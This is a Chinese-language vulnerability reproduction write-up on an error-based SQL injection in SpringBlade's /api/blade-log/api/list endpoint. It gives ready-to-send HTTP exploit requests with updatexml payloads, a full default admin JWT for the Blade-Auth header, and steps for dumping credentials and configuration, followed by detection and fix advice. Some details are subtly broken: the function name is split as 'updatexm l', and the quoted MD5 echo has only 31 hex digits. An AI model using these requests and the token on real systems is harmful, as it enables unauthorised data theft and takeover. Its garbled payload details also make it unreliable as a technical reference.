SpringBlade /api/blade-log/api/list SQL注入漏洞复现
SpringBlade /api/blade-log/api/list SQL注入漏洞复现
0x00 漏洞概述
SpringBlade 是由 chillzhuang 开发的一款企业级快速开发平台,基于 Spring Boot 和 Spring Cloud 微服务架构构建,提供日志管理、API 监控、运维审计等功能,广泛应用于企业级信息化建设场景。
该系统 /api/blade-log/api/list 接口存在 MySQL updatexm l 报错型 SQL 注入漏洞。攻击者携带平台默认认证令牌,将报错注入表达式直接注入查询串,即可通过数据库异常消息回显任意标量查询的执行结果,进而获取用户凭证、系统配置等数据库敏感信息,可能导致系统被完全控制。该漏洞评分为 7.5(高危),公开渠道未提供 CVE 编号,本文不作推测。
0x01 影响版本
- 产品:SpringBlade(blade-log 日志组件)
- 受影响接口:
/api/blade-log/api/list - 触发条件:请求需携带
Blade-Auth请求头,其值为平台默认 JWT(公开利用数据包普遍使用同一默认令牌,属于公开利用模式的一部分),无需真实有效账号 - 后端数据库:MySQL
- 受影响版本:公开渠道未提供权威版本信息,本文不作推测。凡部署并对外暴露该接口的实例均在风险范围内。
- 资产识别特征:页面包含
saber/iconfont.css、「Saber 将不能正常工作」或 avue-data 相关特征之一,或标题为 Sword Admin / Saber企业级开发平台。
0x02 漏洞原理与利用链
从同组件公开代码分析(推断)推断,blade-log 组件的 list 接口将请求参数以 Map 形式直接传入查询条件构造器,未做字段白名单与类型校验,导致查询串中的内容被拼入 SQL 语句——这也是同组件另一接口已被公开分析确认的同一注入模式。
本漏洞的注入位置较为特殊:updatexm l 报错表达式不带参数名,直接作为查询串内容出现在 ? 之后,服务端将其整体作为查询条件处理。同时,请求需携带默认 Blade-Auth JWT 才能通过认证,该令牌解码后对应租户 000000、账号 admin 的管理员身份。
利用链分两步:
1. 注入探测:将固定探测表达式 updatexm l(1,concat(0x7e,md5(9384),0x7e),1)=1 注入查询串。命中时,响应状态码为 500,响应体出现成对波浪线包裹的固定 MD5 值 ~bee8b2cc16ae69b1d21dfd4fa9dbf9e——固定值回显证明表达式进入了数据库执行;
2. 数据回显:将任意标量 SQL 表达式代入 updatexm l(1,concat(0x7e,(<表达式>),0x7e),1)=1(表达式整体做 URL 编码)。updatexm l 的第二参数必须为合法 XPATH 路径,波浪线拼接导致 XPATH 语法错误,MySQL 抛出的异常消息中携带拼接内容——命中时,响应状态码为 500,响应体包含 XPATH syntax error,成对波浪线之间即表达式的执行结果。
预置可用的表达式包括 select version()(数据库版本)与 select user()(当前数据库用户),并支持自定义任意标量表达式以逐项枚举库表结构与业务数据。
0x03 复现过程
以下请求包为依据利用逻辑转述的示例(Host 以占位符示意;Blade-Auth 为利用所需的默认 JWT,此处完整给出)。
第一步,注入探测:
GET /api/blade-log/api/list?updatexm l(1,concat(0x7e,md5(9384),0x7e),1)=1 HTTP/1.1
Host: springblade-target.example
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ命中时,响应状态码为 500,响应体包含 ~bee8b2cc16ae69b1d21dfd4fa9dbf9e。
第二步,读取数据库版本(select version() 整体 URL 编码后置于双括号内):
GET /api/blade-log/api/list?updatexm l%281%2Cconcat%280x7e%2C%28select%20version%28%29%29%2C0x7e%29%2C1%29%3D1 HTTP/1.1
Host: springblade-target.example
Blade-Auth: bearer <同上默认JWT>命中时,响应状态码为 500,响应体包含 XPATH syntax error,成对波浪线之间为数据库版本回显。将表达式替换为 select user() 可回显当前数据库用户;逐次替换为子查询表达式,即可枚举库表结构与用户凭证、系统配置等敏感数据。响应明细以实际环境返回为准,本文不逐字引用;整个过程为只读查询,仅应在获得明确授权的环境中进行。
0x04 检测与修复建议
检测建议:
1. 排查资产中是否存在对外暴露的 /api/blade-log/api/list 接口,确认查询串是否进入数据库查询条件;
2. 在访问日志中检索该接口请求携带 updatexm l(、concat(0x7e、XPATH 相关特征的记录;
3. 关注响应状态码为 500 且响应体出现 XPATH 语法错误明文的请求响应对;
4. 核查各实例是否仍在接受平台默认认证令牌,默认令牌可用即视为高危配置。
修复建议:
1. 对查询条件构造做严格白名单校验,禁止将请求参数整体拼入查询,改用参数化查询;
2. 升级 SpringBlade 至最新版本;
3. 更换默认 JWT 密钥并使历史默认令牌全部失效,遵循最小权限原则限制数据库账号权限;
4. 临时缓解阶段可通过访问控制策略限制该接口的来源地址,并关闭数据库异常明文回显。
0x05 总结
该漏洞的特殊性在于「默认令牌 + 无参数名报错注入」的组合:认证层面一个公开已知的默认 JWT 即可通过校验,注入层面表达式直接占据查询串位置,两步叠加后利用门槛极低,可直接读取用户凭证与系统配置。建议使用单位按资产识别特征排查暴露面,优先升级组件并吊销默认令牌,同时回溯审计该接口的历史访问日志。
参考资料:

Wayyt 7小时前
最新评论